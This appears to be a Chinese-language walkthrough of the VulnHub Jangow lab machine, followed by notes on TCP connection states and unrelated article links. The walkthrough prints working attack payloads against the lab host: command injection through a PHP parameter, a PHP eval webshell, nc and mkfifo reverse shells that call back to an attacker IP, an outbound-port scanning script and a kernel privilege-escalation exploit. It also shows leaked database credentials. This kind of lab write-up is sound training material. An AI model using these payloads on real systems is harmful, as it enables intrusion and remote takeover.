vulnhub_jangow
来源
vulnhub:https://www.vulnhub.com/entry/jangow-101,754/
描述
难度:简单
这在 VirtualBox 而不是 VMware 上效果更好
我这里用Vmware无法显示IP地址,但是VirtualBox可以。
nmap扫描
nmap -sC -sV -T4 -sS -v 192.168.56.118
Discovered open port 80/tcp on 192.168.56.118
Discovered open port 25/tcp on 192.168.56.118
Discovered open port 21/tcp on 192.168.56.118
Discovered open port 110/tcp on 192.168.56.118
PORT STATE SERVICE VERSION
21/tcp open tcpwrapped
25/tcp open tcpwrapped
|_smtp-commands: Couldn't establish connection on port 25
80/tcp open tcpwrapped
110/tcp open tcpwrapped
然后再80端口发现一个
http://192.168.56.118/site/busque.php?buscar=
命令执行,文件包含
经测试:命令执行
http://192.168.56.118/site/busque.php?buscar=tac ./wordpress/config.php
发现信息泄露
?> mysqli_close($conn);
echo "Connected successfully"; }
die("Connection failed: " . mysqli_connect_error());
if (!$conn) { // Check connection
$conn = mysqli_connect($servername, $username, $password, $database); // Create connection
$password = "abygurl69";
$username = "desafio02";
$database = "desafio02";
$servername = "localhost";
没什么用
接着使用使用echo 写码
which nc 回显 /bin/nc
http://192.168.56.118/site/busque.php?buscar=/bin/nc 192.168.56.101 4444 -e /bin/bash
但是弹不上去,估计-e 给搬了
尝试echo 写码,可以成功
http://192.168.56.118/site/busque.php?buscar=echo '<?php eval($_POST[x]);?>' >> shell.php
此时在查看就可以发现
http://192.168.56.118/site/busque.php?buscar=ls

蚁剑连接
发现

这个可登录系统
接下来就是弹shell了。
发现是做了端口限制出不去,要测试本地端口是否能够出去,最简单的方法是使用telnet命令。
import requests
url = "http://192.168.56.118/site/busque.php?buscar=telnet 192.168.56.101 "
for i in range(1, 65536):
try:
payload = url + str(i)
req = requests.get(payload, timeout=0.2)
if "Trying" in req.text:
print(i)
except:
pass
等待时间有点久
利用蚁剑传文件,弹shell
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 443 >/tmp/f');?>
本地监听:nc -lvnp 443
访问:http://192.168.56.118/site/php-reverse-shell.php
即可成功
默认情况下,这些shell非常不稳定。按 Ctrl + C 会杀死整个事情。它们是非交互式的,并且通常具有奇怪的格式错误。
此时which python3,存在
使用python稳定shell:https://www.cnblogs.com/-Lucky-/p/17160172.html
此时成功拿到

然后就是权限提升
找了很久,,,,最后发现是版本问题
可利用的poc

最后发现是45010.c
也可以使用

开个web服务,远程下载(可能因为权限原因,在www-data下才可以下载)(我在/ 目录下下载失败,并且在/site/下载编译后的文件运行失败,最后还是下载45010.c,然后再编译的)




总结疑问
思路:web端,发现命令执行漏洞后,直接echo 写码,蚁剑连接。然后使用python测试进出端口-->443
反弹shell即可,最后使用python开启web服务,或使用ftp服务上传文件,蚁剑上传也可以,然后就是root权限
疑问
443端口已经弹shell了,为什么开启http服务,并没有中断,还可以下载文件
然后就发现下面的情况
开启443web服务后

上传文件

上传文件后端口状态发生了改变

"ESTABLISHED" 指的是 TCP/IP 连接已经建立,并且数据可以在两个端点之间互相传输。在网络通信中,TCP是一种可靠的传输协议,它需要在客户端和服务器之间建立连接,以保证传输数据的可靠性。
在TCP连接建立后,网络状态将变为 ESTABLISHED 状态。在这个状态下,客户端和服务器之间的数据传输可以进行,并且双方都可以发送和接收数据。当数据传输完成后,连接将被断开,状态将变为 CLOSED。
在网络通信问题排查过程中,查看网络状态是非常有用的方式。当客户端连接到服务器时,可以使用netstat命令来查看当前系统的网络状态信息。例如,可以使用以下命令查看本机与目标主机之间的连接状态:
netstat -an | grep 远程主机IP | grep ESTABLISHED
该命令将列出本机与指定远程主机之间的已建立连接信息。如果输出结果中的State字段为ESTABLISHED,则表示连接已经建立。
总之,ESTABLISHED 表示已经建立了一条 TCP/IP 连接,并且可以进行数据传输。
"TIME_WAIT" 是 TCP/IP 协议中一个重要的状态,它是在 TCP 连接关闭时产生的一种暂时状态。当 TCP 连接被主动关闭时,连接的一端将进入 TIME_WAIT 状态,等待 2 × MSL(Maximum Segment Lifetime,最大分段生存时间)的时间后才会关闭。
在 TIME_WAIT 状态下,TCP 连接已经被关闭,但是还没有完全终止。这个状态会持续一段时间,因为有可能会收到对之前连接上发送的数据的确认(ACK)。如果收到确认,就说明之前的连接仍然存在,需要等待确认超时或者两倍的最大分段生存时间后才能彻底关闭这个连接。
TIME_WAIT 状态的持续时间是有限制的,通常是几分钟到几十分钟不等。在这个时间内,连接不能被重用,会占用系统资源。如果有大量的 TIME_WAIT 状态的连接存在,可能会导致系统性能下降。
在网络故障分析和调试中,TIME_WAIT 状态是一个非常重要的指标。在使用 netstat 等工具查看网络状态时,如果看到大量的 TIME_WAIT 状态的连接,可能说明系统的网络连接负载比较大,需要进一步排查问题。
"LISTEN" 是 TCP/IP 协议中一个重要的状态,表示当前正在监听指定端口号的网络连接请求。当一个服务器程序运行起来后,它通常会监听一个固定的端口号,用于接受来自远程客户端的连接请求。
在 LISTEN 状态下,服务器程序正在等待来自客户端的连接请求。如果有一个客户端请求连接到该端口,并且满足一定的条件,服务器程序会创建一个新的 TCP 连接,将其分配给该客户端,并进入 ESTABLISHED 状态。在 LISTEN 状态下,服务器程序可以同时处理多个客户端的连接请求,这也是 TCP/IP 网络通信的一个典型特征。
在使用 netstat 命令等工具查看网络状态时,可以通过以下命令查看本机正在监听的端口号:
netstat -an | grep LISTEN
该命令会列出当前正在监听的所有端口号和协议类型。如果输出结果中的State字段为 LISTEN,则表示该端口正在被该主机上的一个程序监听。如果出现大量的 LISTEN 状态的连接,可能说明有多个服务程序在运行,需要进一步排查问题。
总之,LISTEN 状态表示当前正在监听指定端口号,等待来自远程客户端的连接请求。
随机推荐
- Android系统服务DropBoxManagerService详解与实践应用
作者:vivo 互联网客户端团队- Ma Lian 借助系统DropBoxManagerService对于系统文件目录dropbox管理的设计,了解其文件管理的规则.运行机制.读写机制.管控机制,根据 ...
- Python 中 is 和 == 的区别
is 和 == 的区别 相信学过 Python 小伙伴们都知道 is 和 == 都是用来比较 Python 对象的,但是区别就是 is 比较需要对象的值和内存地址都相等 == 比较只需要对象的值相等就 ...
- vue cli3中配置生产环境、开发环境、测试环境
首先在packjson中配置 "scripts": { "serve": "vue-cli-service serve", //调用开发ap ...
- 全网最详细中英文ChatGPT-GPT-4示例文档-信息智能提取从0到1快速入门——官网推荐的48种最佳应用场景(附python/node.js/curl命令源代码,小白也能学)
目录 Introduce 简介 setting 设置 Prompt 提示 Sample response 回复样本 API request 接口请求 python接口请求示例 node.js接口请求示 ...
- day104:MoFang:个人中心页面&flask-admin&基于faker生成仿真数据
目录 BUG:登陆跳转并解决页面卡顿现象 1.前端显示个人中心页面 2.flask-Admin构建和配置后台运营站点管理用户信息 3.基于Faker生成仿真测试数据 BUG:登陆跳转并解决页面卡顿现象 ...
- C++11强制类型转换
C++ 强制类型转换有四种关键字:static_cast.const_cast.reinterpret_cast和dynamic_cast.它们用于不同的情况和目的,比C语言的强制类型转换更清晰和安全 ...
- RESTful API 为何成为顶流 API 架构风格?
作者孙毅,API7.ai 技术工程师,Apache APISIX Committer 万物互联的世界充满着各式各样的 API ,如何统筹规范 API 至关重要.RESTful API 是目前世界上最流 ...
- laravel框架三级联动,详细代码
这里运用到省份表中,下面是效果图 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 需要一个省份表,里面的字段要有个pid,name这些字段 下面是控制器代码,(Cit ...
- 文心一言 VS chatgpt (12)-- 算法导论3.1 6~7题
六.证明:一个算法的运行时间为θ(g(n))当且仅当其最坏情况运行时间为O(g(n)),且其最好情况运行时间为Ω(g(n)) . 文心一言: chatgpt: 要证明「一个算法的运行时间为θ(g(n) ...
- 2022-05-27:现在有N条鱼,每条鱼的体积为Ai,从左到右排列,数组arr给出。 每一轮,左边的大鱼一定会吃掉右边比自己小的第一条鱼, 并且每条鱼吃比自己小的鱼的事件是同时发生的。 返回多少轮之
2022-05-27:现在有N条鱼,每条鱼的体积为Ai,从左到右排列,数组arr给出. 每一轮,左边的大鱼一定会吃掉右边比自己小的第一条鱼, 并且每条鱼吃比自己小的鱼的事件是同时发生的. 返回多少轮之 ...